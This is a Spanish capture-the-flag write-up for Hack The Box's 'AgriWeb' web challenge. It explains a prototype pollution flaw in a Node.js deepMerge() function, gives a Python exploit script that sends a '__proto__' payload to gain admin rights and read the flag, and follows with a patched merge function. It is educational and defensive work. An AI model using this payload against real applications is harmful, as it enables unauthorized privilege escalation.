Flippermen | CyberFlippers | UDLA-Cyber
Disclaimer: Writeup realizado en entorno autorizado de Hack The Box con fines educativos. Enfoque Secure Coding — identificar, explotar y parchear vulnerabilidades en código fuente.
| Campo | Valor |
|---|---|
| Challenge | AgriWeb |
| Dificultad | Easy |
| Categoría | Web |
| Puntos | 20 |
| Vulnerabilidad | Prototype Pollution vía deepMerge() |
| Stack | Node.js / Express / SQLite |
Descripción
Aplicación de gestión agrícola con JWT. El admin panel retorna la flag si req.user.isAdmin === true.
Vulnerabilidad
routes/profile.js implementa un deepMerge() recursivo sin filtrar keys peligrosas:
// VULNERABLE — routes/profile.js
function deepMerge(target, source) {
for (let key in source) {
// key puede ser "__proto__", "constructor", "prototype"
if (source[key] && typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
deepMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
Exploit
import requests
BASE = "http://<IP>:<PORT>/challenge"
s = requests.Session()
s.post(f"{BASE}/api/auth/register", json={"username":"h","email":"h@t.com","password":"h"})
r = s.post(f"{BASE}/api/auth/login", json={"username":"h","password":"h"})
token = r.json()["token"]
# Prototype pollution — inyecta isAdmin en Object.prototype
s.post(f"{BASE}/api/profile",
json={"__proto__": {"isAdmin": True}},
headers={"Authorization": f"Bearer {token}"})
# Todos los objetos heredan isAdmin: true
r = s.get(f"{BASE}/admin", headers={"Authorization": f"Bearer {token}"})
print(r.json()["flag"])
Parche
// routes/profile.js
const BLOCKED_KEYS = new Set(['__proto__', 'constructor', 'prototype']);
function deepMerge(target, source) {
for (let key in source) {
if (BLOCKED_KEYS.has(key)) continue;
if (!Object.prototype.hasOwnProperty.call(source, key)) continue;
if (source[key] && typeof source[key] === 'object' && !Array.isArray(source[key])) {
if (!target[key]) target[key] = Object.create(null);
deepMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
Tres capas: BLOCKED_KEYS bloquea las keys peligrosas, hasOwnProperty evita iterar keys heredadas en el for...in, y Object.create(null) crea objetos intermedios sin prototype.
Key Takeaways
for...initera el prototype chain — usarhasOwnPropertyoObject.keys()(que no lo hace) para evitar procesar keys heredadas.__proto__,constructor,prototypeson always-blocklist — cualquier función de merge/assign recursivo debe filtrarlas explícitamente.Object.create(null)para objetos internos — los objetos sin prototype no son vulnerables a pollution.
Flippermen HackTheBox Season 10 — Platinum Tier | #1 Ecuador | CyberFlippers | UDLA-Cyber